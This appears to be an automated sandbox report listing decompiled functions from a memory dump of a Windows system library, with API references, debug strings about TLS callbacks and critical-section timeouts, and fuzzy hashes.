0x6a920c74
0x6a920c80
0x6a920c91
0x6a920c91
0x6a920c93
0x6a920c98
0x6a920c9f
0x6a920cbd
0x6a920cc0
0x6a920cce
0x6a920cce
0x6a920ca1
0x6a920ca6
0x00000000
0x00000000
0x6a920ca8
0x6a920cb0
0x6a920cb0
0x6a920cb4
0x00000000
0x00000000
0x6a920ccf
0x6a920cd2
0x6a920cd5
0x6a920cd8
0x6a920cdf
0x6a976424
0x6a976427
0x6a976442
0x6a976447
0x6a976447
0x6a920ce5
0x6a920ce7
0x6a920cef
0x6a920cef
0x6a920cb6
0x00000000
0x6a920cb6
0x6a920c82
0x6a920c87
0x6a920c8f
0x00000000
0x00000000
0x00000000
0x6a920c8f
0x00000000

APIs

RtlAcquireSRWLockShared.1105(6AA08550,?,?,00000000,000000FF,6A9EF868,00000038,6A91F563), ref: 6A920C6F
RtlReleaseSRWLockShared.1105(6AA08550,6AA08550,?,?,00000000,000000FF,6A9EF868,00000038,6A91F563), ref: 6A920C98

Strings

LdrpCallTlsInitializers, xrefs: 6A976433
minkernel\ntdll\ldrtls.c, xrefs: 6A97643D
Calling TLS callback %p for DLL "%wZ" at %p, xrefs: 6A97642C

Memory Dump Source

Source File: 0000001D.00000002.423561316.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 0000001D.00000002.423252464.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.435228307.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.435264913.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.435292089.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: LockShared$AcquireRelease
String ID: Calling TLS callback %p for DLL "%wZ" at %p$LdrpCallTlsInitializers$minkernel\ntdll\ldrtls.c
API String ID: 2614130328-70613900
Opcode ID: 95d2f1495ad6ef5f8581beb5c558d0f7ecd2e37a69b33a410041f6fc03b56ad2
Instruction ID: 473d3d87aa375ef75f068ae69ec144a6cf06ce30fa3d434ff6b5c28456a7a743
Opcode Fuzzy Hash: 95d2f1495ad6ef5f8581beb5c558d0f7ecd2e37a69b33a410041f6fc03b56ad2
Instruction Fuzzy Hash: 5C21E2B2D04719ABEB20CF548840B9ABBB8FF45718F21861EE92063244EB30EC418691

Uniqueness

Uniqueness Score: -1.00%

Function 6A9C6243, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 54
COMMON

Download Yara Rule

C-Code - Quality: 93%

			E6A9C6243(void* __ebx, WCHAR* __ecx, void* __edi) {
				signed int _v8;
				short _v188;
				char _v192;
				void* _v196;
				void* _v204;
				void* __esi;
				char _t19;
				intOrPtr _t21;
				void* _t22;
				void* _t28;
				void* _t35;
				void* _t36;
				WCHAR* _t37;
				signed int _t38;

				_t36 = __edi;
				_t28 = __ebx;
				_v8 =  *0x6aa0d360 ^ _t38;
				_v192 = 0x55;
				_t37 = __ecx;
				if(E6A9CCF70(__ecx, 1,  &_v188,  &_v192) < 0) {
					L6:
					_t19 = 0;
				} else {
					_t21 = _v192;
					if(_t21 >= 0x55) {
						goto L6;
					} else {
						_t22 = _t21 + _t21;
						if(_t22 >= 0xaa) {
							E6A95B75A();
							goto L6;
						} else {
							 *((short*)(_t38 + _t22 - 0xb8)) = 0;
							RtlInitUnicodeString( &_v204, _t37);
							RtlInitUnicodeString( &_v196,  &_v188);
							if(RtlCompareUnicodeString( &_v204,  &_v196, 1) != 0) {
								goto L6;
							} else {
								_t19 = 1;
							}
						}
					}
				}
				return E6A95B640(_t19, _t28, _v8 ^ _t38, _t35, _t36, _t37);
			}

0x6a9c6243
0x6a9c6243
0x6a9c6255
0x6a9c625f
0x6a9c6270
0x6a9c627c
0x6a9c62de
0x6a9c62de
0x6a9c627e
0x6a9c627e
0x6a9c6287
0x00000000
0x6a9c6289
0x6a9c6289
0x6a9c6290
0x6a9c62d9
0x00000000
0x6a9c6292
0x6a9c6294
0x6a9c62a4
0x6a9c62b7
0x6a9c62d3
0x00000000
0x6a9c62d5
0x6a9c62d5
0x6a9c62d5
0x6a9c62d3
0x6a9c6290
0x6a9c6287
0x6a9c62ee

APIs

RtlpGetUserOrMachineUILanguage4NLS.1105(00000001,?,?,?), ref: 6A9C6275

Part of subcall function 6A9CCF70: RtlInitUnicodeString.1105(?,Control Panel\Desktop,?,?,?), ref: 6A9CCFC1
Part of subcall function 6A9CCF70: ZwOpenKey.1105(00000007,00020019,?,?,\Registry\Machine\System\CurrentControlSet\Control\MUI\Settings,?,?,?,00000007,00020019,?,?,Control Panel\Desktop\MuiCached,?,?,?), ref: 6A9CD0B8
Part of subcall function 6A9CCF70: RtlInitUnicodeString.1105(?,PreferredUILanguages,00000007,00020019,?,?,\Registry\Machine\System\CurrentControlSet\Control\MUI\Settings,?,?,?,00000007,00020019,?,?,Control Panel\Desktop\MuiCached), ref: 6A9CD0CD
Part of subcall function 6A9CCF70: ZwClose.1105(?,?,?,?), ref: 6A9CD139
Part of subcall function 6A9CCF70: ZwClose.1105(00000000,?,?,?), ref: 6A9CD14E

RtlInitUnicodeString.1105(?,?,00000001,?,?,?), ref: 6A9C62A4
RtlInitUnicodeString.1105(?,?,?,?,00000001,?,?,?), ref: 6A9C62B7
RtlCompareUnicodeString.1105(?,?,00000001,?,?,?,?,00000001,?,?,?), ref: 6A9C62CC

Part of subcall function 6A929660: RtlCompareUnicodeStrings.1105(?,?,?,?,6AA07B60,?,6A9568BE,?,00000024,00000001,?,6A9405B9,?,?,6AA07B60), ref: 6A929680

Strings

U, xrefs: 6A9C625F

Memory Dump Source

Source File: 0000001D.00000002.423561316.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 0000001D.00000002.423252464.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.435228307.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.435264913.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.435292089.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: Unicode$String$Init$CloseCompare$Language4MachineOpenRtlpStringsUser
String ID: U
API String ID: 3637150059-3372436214
Opcode ID: 4ccf5eb3d0e53593fedccd6dcf16df8496a52ebcb26cafaa7b922894ccf47ea7
Instruction ID: 13a410f08a5e7d024b5bf7af8467c8c3282160f49bcdea09e9a44b94eccd9ee1
Opcode Fuzzy Hash: 4ccf5eb3d0e53593fedccd6dcf16df8496a52ebcb26cafaa7b922894ccf47ea7
Instruction Fuzzy Hash: 6B11733150162CAAEB60DB618C49FEAB3BCAF15304F2045E9D90AD3141FF70EA59CB53

Uniqueness

Uniqueness Score: -1.00%

Function 6A9AFDDA, Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 42
COMMON

Download Yara Rule

C-Code - Quality: 53%

			E6A9AFDDA(intOrPtr* __edx, intOrPtr _a4) {
				void* _t7;
				intOrPtr _t9;
				intOrPtr _t10;
				intOrPtr* _t12;
				intOrPtr* _t13;
				intOrPtr _t14;
				intOrPtr* _t15;

				_t13 = __edx;
				_push(_a4);
				_t14 =  *[fs:0x18];
				_t15 = _t12;
				_t7 = E6A95CE00( *__edx,  *((intOrPtr*)(__edx + 4)), 0xff676980, 0xffffffff);
				_push(_t13);
				E6A9A5720(0x65, 1, "RTL: Enter CriticalSection Timeout (%I64u secs) %d\n", _t7);
				_t9 =  *_t15;
				if(_t9 == 0xffffffff) {
					_t10 = 0;
				} else {
					_t10 =  *((intOrPtr*)(_t9 + 0x14));
				}
				_push(_t10);
				_push(_t15);
				_push( *((intOrPtr*)(_t15 + 0xc)));
				_push( *((intOrPtr*)(_t14 + 0x24)));
				return E6A9A5720(0x65, 0, "RTL: Pid.Tid %p.%p, owner tid %p Critical Section %p - ContentionCount == %u\n",  *((intOrPtr*)(_t14 + 0x20)));
			}

0x6a9afdda
0x6a9afde2
0x6a9afde5
0x6a9afdec
0x6a9afdfa
0x6a9afdff
0x6a9afe0a
0x6a9afe0f
0x6a9afe17
0x6a9afe1e
0x6a9afe19
0x6a9afe19
0x6a9afe19
0x6a9afe20
0x6a9afe21
0x6a9afe22
0x6a9afe25
0x6a9afe40

APIs

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT(?,00000000,FF676980,000000FF,00000000,00000000,?,?,?,6A96FA1C,00000000,00000004,?,00000000,?,00000000), ref: 6A9AFDFA
DbgPrintEx.1105(00000065,00000001,RTL: Enter CriticalSection Timeout (%I64u secs) %d,00000000,?,?,00000000,FF676980,000000FF,00000000,00000000,?,?,?,6A96FA1C,00000000), ref: 6A9AFE0A
DbgPrintEx.1105(00000065,00000000,RTL: Pid.Tid %p.%p, owner tid %p Critical Section %p - ContentionCount == %u,?,?,00000002,?,00000000,00000004,?,00000000,?,00000000,00000000), ref: 6A9AFE34

Strings

RTL: Enter CriticalSection Timeout (%I64u secs) %d, xrefs: 6A9AFE01
RTL: Pid.Tid %p.%p, owner tid %p Critical Section %p - ContentionCount == %u, xrefs: 6A9AFE2B

Memory Dump Source

Source File: 0000001D.00000002.423561316.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 0000001D.00000002.423252464.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.435228307.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.435264913.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.435292089.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: Print$Unothrow_t@std@@@__ehfuncinfo$??2@
String ID: RTL: Enter CriticalSection Timeout (%I64u secs) %d$RTL: Pid.Tid %p.%p, owner tid %p Critical Section %p - ContentionCount == %u
API String ID: 545360701-3903918235
Opcode ID: 5771ef763d16ea753618bbb4ff4cf4cab2339a4a2f427e1ed02d6960a18e35a6
Instruction ID: 15288f4a117b6a720a4eddc35d210dd0a6f3e1675e6c4595aca941b10d6a35db
Opcode Fuzzy Hash: 5771ef763d16ea753618bbb4ff4cf4cab2339a4a2f427e1ed02d6960a18e35a6
Instruction Fuzzy Hash: 4FF0C232200101BFDA200A45DC05F23BB6AEB85774F350256F728561D1EE62F820C7A4

Uniqueness

Uniqueness Score: -1.00%

Function 6A933690, Relevance: 7.9, APIs: 5, Instructions: 359
COMMON

Download Yara Rule

C-Code - Quality: 85%

			E6A933690(signed int _a4, signed short* _a8, unsigned int* _a12, signed int _a16) {
				signed int _v8;
				char _v72;
				signed short _v76;
				signed short _v80;
				signed int _v84;
				signed short* _v88;
				signed int _v92;
				signed short* _v96;
				signed int _v100;
				signed int _v104;
				signed int _v108;
				unsigned short _v112;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed short _t154;
				signed short _t156;
				signed short _t157;
				unsigned short _t158;
				signed short _t162;
				signed short _t166;
				signed short _t168;
				signed int _t171;
				signed short _t180;
				signed int _t191;
				signed char _t194;
				signed char _t196;
				signed short _t199;
				signed short _t200;
				signed short _t201;
				signed short _t202;
				void* _t204;
				signed short _t205;
				signed short _t206;
				unsigned int* _t207;
				signed int _t212;
				signed short _t215;
				signed short _t217;
				signed short _t219;
				signed short _t220;
				signed int _t224;
				signed int _t225;
				void* _t226;
				signed int _t227;
				void* _t228;
				signed short _t229;
				signed short* _t230;
				signed short* _t231;
				signed int _t232;
				signed short* _t233;
				signed short* _t234;
				signed int _t235;
				signed int _t236;
				signed short* _t237;
				signed short _t238;
				signed short _t239;
				short* _t240;
				signed int _t242;

				_v8 =  *0x6aa0d360 ^ _t242;
				_t207 = _a12;
				_t198 = _a16;
				_v84 = _t198;
				_t237 = _a8;
				if(_t198 != 0) {
					 *_t198 = 0;
				}
				_t221 = _a4;
				if((_t221 & 0xfffffff8) != 0 || _t198 == 0) {
					_t154 = 0xc000000d;
					goto L35;
				} else {
					_t156 = 0;
					_v88 = 0xfffe;
					_v76 = 0;
					_push(_t226);
					if(_t237 != 0) {
						if(( *_t237 & 1) != 0) {
							L39:
							_t156 = 0xc000000d;
							_v76 = 0xc000000d;
						} else {
							_t13 =  &(_t237[1]); // 0xe9d07589
							_t196 =  *_t13 & 0x0000ffff;
							if((_t196 & 0x00000001) != 0) {
								goto L39;
							} else {
								_t236 =  *_t237 & 0x0000ffff;
								if(_t236 > _t196 || _t196 > _v88) {
									goto L39;
								} else {
									if(_t237[2] == 0) {
										if(_t236 != 0 || _t196 != 0) {
											goto L39;
										} else {
											goto L10;
										}
									} else {
										L10:
										_t156 = 0;
									}
								}
							}
						}
					}
					if(_t156 < 0) {
						L36:
						_t154 = _v76;
						goto L34;
					} else {
						_t157 = 0;
						_v76 = 0;
						if(_t207 != 0) {
							if(( *_t207 & 1) != 0) {
								L42:
								_t157 = 0xc000000d;
								_v76 = 0xc000000d;
							} else {
								_t194 = _t207[0] & 0x0000ffff;
								if((_t194 & 0x00000001) != 0) {
									goto L42;
								} else {
									_t235 =  *_t207 & 0x0000ffff;
									if(_t235 > _t194 || _t194 > _v88) {
										goto L42;
									} else {
										if(_t207[1] == 0) {
											if(_t235 != 0 || _t194 != 0) {
												goto L42;
											} else {
												goto L18;
											}
										} else {
											L18:
											_t157 = 0;
										}
									}
								}
							}
						}
						if(_t157 < 0) {
							goto L36;
						} else {
							_t158 =  *_t237 & 0x0000ffff;
							_t26 =  &(_t237[2]); // 0xcd3be9d0
							_t237 =  *_t26;
							_v112 = _t158;
							_t227 = _t158 >> 0x00000001 & 0x0000ffff;
							_v96 = _t207[1];
							_t212 = _t221 & 0x00000001;
							_t162 =  *_t207 >> 0x00000001 & 0x0000ffff;
							_v92 = _t227;
							_v80 = _t162;
							_v104 = _t212;
							_v88 = _t237;
							if(_t212 == 0) {
								_v100 = 1;
							} else {
								_v100 = 0xffffffff;
								_t162 = _v80;
								_t237 =  &(( &(_t237[_t227 & 0x0000ffff]))[0xffffffffffffffff]);
								_v88 = _t237;
							}
							if((_t221 & 0x00000004) != 0) {
								if(_t162 > 0x20) {
									if(_t227 != 0) {
										_a4 = _t221 & 0x00000002;
										do {
											_t166 = E6A9B2EF0( *_t237 & 0x0000ffff);
											_t215 = 0;
											_t221 = 0;
											_v108 = _t166 & 0x0000ffff;
											_t168 = _v80;
											_v76 = 0;
											if(_a4 == 0) {
												if(0 < _t168) {
													_t200 = _v80;
													_t230 = _v96;
													_t238 = _v76;
													while(_v108 != E6A9B2EF0( *(_t230 + (_t238 & 0x0000ffff) * 2) & 0x0000ffff)) {
														_t238 = _t238 + 1;
														if(_t238 < _t200) {
															continue;
														}
														break;
													}
													_t227 = _v92;
													_t198 = _v84;
													_t168 = _v80;
													_v76 = _t238;
													_t237 = _v88;
													_t215 = _v76;
												}
												if(_t215 != _t168) {
													goto L58;
												} else {
													goto L83;
												}
											} else {
												if(0 < _t168) {
													_t231 = _v96;
													_t199 = _t168;
													_t239 = 0;
													while(_v108 != E6A9B2EF0( *(_t231 + (_t239 & 0x0000ffff) * 2) & 0x0000ffff)) {
														_t239 = _t239 + 1;
														if(_t239 < _t199) {
															continue;
														}
														break;
													}
													_t227 = _v92;
													_t198 = _v84;
													_t168 = _v80;
													_v76 = _t239;
													_t237 = _v88;
													_t215 = _v76;
												}
												if(_t215 != _t168) {
													goto L83;
												} else {
													goto L58;
												}
											}
											goto L110;
											L83:
											_t227 = _t227 + 0xffff;
											_v92 = _t227;
											_t237 =  &(_t237[_v100]);
											_v88 = _t237;
										} while (_t227 != 0);
									}
								} else {
									if(0 < _t162) {
										_t240 =  &_v72;
										_t232 = _t162 & 0x0000ffff;
										_t204 = _v96 - _t240;
										do {
											 *_t240 = E6A9B2EF0( *(_t204 + _t240) & 0x0000ffff);
											_t240 = _t240 + 2;
											_t232 = _t232 - 1;
										} while (_t232 != 0);
										_t237 = _v88;
										_t227 = _v92;
										_t198 = _v84;
										_t221 = _a4;
									}
									if(_t227 != 0) {
										_a4 = _t221 & 0x00000002;
										do {
											_t180 = E6A9B2EF0( *_t237 & 0x0000ffff);
											_t217 = _v80;
											_t221 = 0;
											_v76 = _t180 & 0x0000ffff;
											if(_a4 == 0) {
												if(0 < _t217) {
													_t202 = _v76;
													while(_t202 !=  *((intOrPtr*)(_t242 + (_t221 & 0x0000ffff) * 2 - 0x44))) {
														_t221 = _t221 + 1;
														if(_t221 < _t217) {
															continue;
														}
														break;
													}
													_t198 = _v84;
												}
												if(_t221 != _t217) {
													goto L58;
												} else {
													goto L65;
												}
											} else {
												if(0 < _t217) {
													_t201 = _v76;
													while(_t201 !=  *((intOrPtr*)(_t242 + (_t221 & 0x0000ffff) * 2 - 0x44))) {
														_t221 = _t221 + 1;
														if(_t221 < _t217) {
															continue;
														}
														break;
													}
													_t198 = _v84;
												}
												if(_t221 != _t217) {
													goto L65;
												} else {
													L58:
													_t212 = _v104;
													goto L30;
												}
											}
											goto L110;
											L65:
											_t227 = _t227 + 0xffff;
											_t237 =  &(_t237[_v100]);
										} while (_t227 != 0);
									}
								}
								goto L29;
							} else {
								if(_t162 != 1) {
									if(_t227 != 0) {
										_t221 = _t221 & 0x00000002;
										_a4 = _t221;
										do {
											_t198 = _v84;
											_v76 = 0;
											if(_t221 == 0) {
												_v108 = 0;
												if(_v108 < _t162) {
													_t220 = _v80;
													_t233 = _v96;
													_t205 = _v76;
													_t224 =  *_t237 & 0x0000ffff;
													while(_t224 !=  *((intOrPtr*)(_t233 + (_t205 & 0x0000ffff) * 2))) {
														_t205 = _t205 + 1;
														if(_t205 < _t220) {
															continue;
														}
														break;
													}
													_t227 = _v92;
													_t221 = _a4;
													_t212 = _v104;
													_t162 = _v80;
													_v76 = _t205;
													_t198 = _v84;
												}
												if(_v76 != _t162) {
													goto L30;
												} else {
													goto L106;
												}
											} else {
												_v108 = 0;
												if(_v108 < _t162) {
													_t219 = _v80;
													_t234 = _v96;
													_t206 = _v76;
													_t225 =  *_t237 & 0x0000ffff;
													while(_t225 !=  *((intOrPtr*)(_t234 + (_t206 & 0x0000ffff) * 2))) {
														_t206 = _t206 + 1;
														if(_t206 < _t219) {
															continue;
														}
														break;
													}
													_t227 = _v92;
													_t221 = _a4;
													_t212 = _v104;
													_t162 = _v80;
													_v76 = _t206;
													_t198 = _v84;
												}
												if(_v76 == _t162) {
													goto L30;
												} else {
													goto L106;
												}
											}
											goto L110;
											L106:
											_t198 = _v100;
											_t227 = _t227 + 0xffff;
											_v92 = _t227;
											_t237 =  &(_t237[_v100]);
										} while (_t227 != 0);
									}
									goto L29;
								} else {
									_t191 =  *_v96 & 0x0000ffff;
									if((_t221 & 0x00000002) != 0) {
										if(_t227 == 0) {
											goto L29;
										} else {
											_t221 = _v100;
											while( *_t237 == _t191) {
												_t227 = _t227 + 0xffff;
												_t237 =  &(_t237[_t221]);
												if(_t227 != 0) {
													continue;
												} else {
													goto L29;
												}
												goto L110;
											}
											goto L30;
										}
									} else {
										if(_t227 == 0) {
											L29:
											_pop(_t228);
											return E6A95B640(0xc0000225, _t198, _v8 ^ _t242, _t221, _t228, _t237);
										} else {
											while( *_t237 != _t191) {
												_t221 = _v100;
												_t227 = _t227 + 0xffff;
												_t237 =  &(_t237[_v100]);
												if(_t227 != 0) {
													continue;
												} else {
													goto L29;
												}
												goto L110;
											}
											L30:
											if(_t227 == 0) {
												goto L29;
											} else {
												_t229 = _t227 * 2 - 2;
												if(_t212 == 0) {
													_t171 = _v112 - _t229 & 0x0000ffff;
												} else {
													_t171 = _t229 & 0x0000ffff;
												}
												 *_t198 = _t171;
												_t154 = 0;
												L34:
												_pop(_t226);
												L35:
												return E6A95B640(_t154, _t198, _v8 ^ _t242, _t221, _t226, _t237);
											}
										}
									}
								}
							}
						}
					}
				}
				L110:
			}

0x6a93369f
0x6a9336a2
0x6a9336a6
0x6a9336a9
0x6a9336ad
0x6a9336b2
0x6a9336b6
0x6a9336b6
0x6a9336b9
0x6a9336c2
0x6a97ddac
0x00000000
0x6a9336d0
0x6a9336d0
0x6a9336d2
0x6a9336d9
0x6a9336dc
0x6a9336df
0x6a9336e6
0x6a97dae8
0x6a97dae8
0x6a97daed
0x6a9336ec
0x6a9336ec
0x6a9336ec
0x6a9336f2
0x00000000
0x6a9336f8
0x6a9336f8
0x6a9336fe
0x00000000
0x6a93370e
0x6a933712
0x6a97dadd
0x00000000
0x00000000
0x00000000
0x00000000
0x6a933718
0x6a933718
0x6a933718
0x6a933718
0x6a933712
0x6a9336fe
0x6a9336f2
0x6a9336e6
0x6a93371c
0x6a93383d
0x6a93383d
0x00000000
0x6a933722
0x6a933722
0x6a933724
0x6a933729
0x6a933730
0x6a97db03
0x6a97db03
0x6a97db08
0x6a933736
0x6a933736
0x6a93373c
0x00000000
0x6a933742
0x6a933742
0x6a933748
0x00000000
0x6a933758
0x6a93375c
0x6a97daf8
0x00000000
0x00000000
0x00000000
0x00000000
0x6a933762
0x6a933762
0x6a933762
0x6a933762
0x6a93375c
0x6a933748
0x6a93373c
0x6a933730
0x6a933766
0x00000000
0x6a93376c
0x6a93376c
0x6a93376f
0x6a93376f
0x6a933772
0x6a933778
0x6a933781
0x6a933789
0x6a93378c
0x6a93378f
0x6a933792
0x6a933795
0x6a933798
0x6a93379b
0x6a97db10
0x6a9337a1
0x6a9337a4
0x6a9337ae
0x6a9337b1
0x6a9337b4
0x6a9337b4
0x6a9337ba
0x6a97db20
0x6a97dbe6
0x6a97dbef
0x6a97dbf2
0x6a97dbf6
0x6a97dbfe
0x6a97dc00
0x6a97dc02
0x6a97dc05
0x6a97dc08
0x6a97dc0e
0x6a97dc54
0x6a97dc56
0x6a97dc59
0x6a97dc5c
0x6a97dc5f
0x6a97dc72
0x6a97dc76
0x00000000
0x00000000
0x00000000
0x6a97dc76
0x6a97dc78
0x6a97dc7b
0x6a97dc7e
0x6a97dc81
0x6a97dc84
0x6a97dc87
0x6a97dc87
0x6a97dc8d
0x00000000
0x00000000
0x00000000
0x00000000
0x6a97dc10
0x6a97dc13
0x6a97dc15
0x6a97dc18
0x6a97dc1a
0x6a97dc1c
0x6a97dc2f
0x6a97dc33
0x00000000
0x00000000
0x00000000
0x6a97dc33
0x6a97dc35
0x6a97dc38
0x6a97dc3b
0x6a97dc3e
0x6a97dc41
0x6a97dc44
0x6a97dc44
0x6a97dc4a
0x00000000
0x6a97dc4c
0x00000000
0x6a97dc4c
0x6a97dc4a
0x00000000
0x6a97dc93
0x6a97dc96
0x6a97dc9c
0x6a97dc9f
0x6a97dca2
0x6a97dca5
0x6a97dcae
0x6a97db26
0x6a97db2b
0x6a97db30
0x6a97db35
0x6a97db38
0x6a97db3a
0x6a97db44
0x6a97db47
0x6a97db4a
0x6a97db4a
0x6a97db4f
0x6a97db52
0x6a97db55
0x6a97db58
0x6a97db58
0x6a97db5e
0x6a97db67
0x6a97db6a
0x6a97db6e
0x6a97db73
0x6a97db76
0x6a97db7b
0x6a97db83
0x6a97dbb0
0x6a97dbb2
0x6a97dbb5
0x6a97dbbf
0x6a97dbc3
0x00000000
0x00000000
0x00000000
0x6a97dbc3
0x6a97dbc5
0x6a97dbc5
0x6a97dbcb
0x00000000
0x00000000
0x00000000
0x00000000
0x6a97db85
0x6a97db88
0x6a97db8a
0x6a97db8d
0x6a97db97
0x6a97db9b
0x00000000
0x00000000
0x00000000
0x6a97db9b
0x6a97db9d
0x6a97db9d
0x6a97dba3
0x00000000
0x6a97dba5
0x6a97dba5
0x6a97dba5
0x00000000
0x6a97dba5
0x6a97dba3
0x00000000
0x6a97dbcd
0x6a97dbd0
0x6a97dbd6
0x6a97dbd9
0x6a97dbde
0x6a97db5e
0x00000000
0x6a9337c0
0x6a9337c4
0x6a97dcde
0x6a97dce4
0x6a97dce7
0x6a97dcea
0x6a97dcea
0x6a97dced
0x6a97dcf6
0x6a97dd3e
0x6a97dd49
0x6a97dd4b
0x6a97dd4e
0x6a97dd51
0x6a97dd54
0x6a97dd57
0x6a97dd60
0x6a97dd64
0x00000000
0x00000000
0x00000000
0x6a97dd64
0x6a97dd66
0x6a97dd69
0x6a97dd6c
0x6a97dd6f
0x6a97dd72
0x6a97dd75
0x6a97dd75
0x6a97dd7c
0x00000000
0x00000000
0x00000000
0x00000000
0x6a97dcf8
0x6a97dcf8
0x6a97dd03
0x6a97dd05
0x6a97dd08
0x6a97dd0b
0x6a97dd0e
0x6a97dd11
0x6a97dd1a
0x6a97dd1e
0x00000000
0x00000000
0x00000000
0x6a97dd1e
0x6a97dd20
0x6a97dd23
0x6a97dd26
0x6a97dd29
0x6a97dd2c
0x6a97dd2f
0x6a97dd2f
0x6a97dd36
0x00000000
0x6a97dd3c
0x00000000
0x6a97dd3c
0x6a97dd36
0x00000000
0x6a97dd82
0x6a97dd82
0x6a97dd85
0x6a97dd8b
0x6a97dd8e
0x6a97dd91
0x6a97dd9a
0x00000000
0x6a9337ca
0x6a9337cd
0x6a9337d3
0x6a97dcb6
0x00000000
0x6a97dcbc
0x6a97dcbc
0x6a97dcbf
0x6a97dcc8
0x6a97dcce
0x6a97dcd4
0x00000000
0x6a97dcd6
0x00000000
0x6a97dcd6
0x00000000
0x6a97dcd4
0x00000000
0x6a97dcbf
0x6a9337d9
0x6a9337dc
0x6a9337f6
0x6a9337f6
0x6a93380b
0x6a9337e0
0x6a9337e0
0x6a9337e5
0x6a9337e8
0x6a9337ee
0x6a9337f4
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6a9337f4
0x6a93380e
0x6a933811
0x00000000
0x6a933813
0x6a933813
0x6a93381c
0x6a97dda4
0x6a933822
0x6a933822
0x6a933822
0x6a933825
0x6a933828
0x6a93382a
0x6a93382a
0x6a93382b
0x6a93383a
0x6a93383a
0x6a933811
0x6a9337dc
0x6a9337d3
0x6a9337c4
0x6a9337ba
0x6a933766
0x6a93371c
0x00000000

Memory Dump Source

Source File: 0000001D.00000002.423561316.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 0000001D.00000002.423252464.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.435228307.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.435264913.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.435292089.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d55346c25c50ed5e4b233b03dea1be94b4cd6f80945f1cdc964534882cea9896
Instruction ID: 3b333a7595f2a881387f1470d55f43cc29b46a5e9fc3b2820d413a0df0ad8e35
Opcode Fuzzy Hash: d55346c25c50ed5e4b233b03dea1be94b4cd6f80945f1cdc964534882cea9896
Instruction Fuzzy Hash: AAD16E75D042698BDB20DFA9C1802BEB7F6FF44710F76401AD895AB344DB71E986CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 6A911190, Relevance: 7.7, APIs: 5, Instructions: 151COMMON

Download Yara Rule

APIs

RtlIpv4StringToAddressW.1105(00000000,?,?,00000000), ref: 6A9111B9

Part of subcall function 6A9111E0: iswctype.1105(0000000A,00000004), ref: 6A911244

iswctype.1105(00000000,00000004,00000000,?,?,00000000), ref: 6A96EB6B

Memory Dump Source

Source File: 0000001D.00000002.423561316.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 0000001D.00000002.423252464.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.435228307.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.435264913.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.435292089.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: iswctype$AddressIpv4String
String ID:
API String ID: 1627499474-0
Opcode ID: fb804841babf00360943d9f994b3b33d5c73eef6988bae1e53c25cbdaf3f4e98
Instruction ID: e74e7a49a3ab3760bf8672758f90bbf12af1c471288468c7d79cfdf7a0cadaf7
Opcode Fuzzy Hash: fb804841babf00360943d9f994b3b33d5c73eef6988bae1e53c25cbdaf3f4e98
Instruction Fuzzy Hash: 02412876604119AAF728C965DCC1BB9B3B8EF12764F31452AE451D72C0EF38DE41D260

Uniqueness

Uniqueness Score: -1.00%

Function 6A94F296, Relevance: 7.6, APIs: 5, Instructions: 103COMMON

Download Yara Rule

APIs

Part of subcall function 6A94F2E0: RtlAcquireSRWLockExclusive.1105(6AA086AC,00000000,00000000,00000000,0000000C,?,6A94F2BF,00000000,00000000,?), ref: 6A94F2F1
Part of subcall function 6A94F2E0: RtlReleaseSRWLockExclusive.1105(6AA086AC,?,?,6AA086AC,00000000,00000000,00000000,0000000C,?,6A94F2BF,00000000,00000000,?), ref: 6A94F31B

RtlAcquireSRWLockShared.1105(0000001C,00000000,00000000,?), ref: 6A98BB5B
RtlReleaseSRWLockShared.1105(0000001C,0000001C,00000000,00000000,?), ref: 6A98BBE9

Memory Dump Source

Source File: 0000001D.00000002.423561316.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 0000001D.00000002.423252464.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.435228307.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.435264913.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.435292089.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: Lock$AcquireExclusiveReleaseShared
String ID:
API String ID: 3474408661-0
Opcode ID: ecd9f6239b5d1d91f5e822a513a38c4d48f9b8b424306757b56522f178acda93
Instruction ID: a605b7fadb1d174e28e31c0a3310b9ff7b710827a2205b6f9121126e4d673857
Opcode Fuzzy Hash: ecd9f6239b5d1d91f5e822a513a38c4d48f9b8b424306757b56522f178acda93
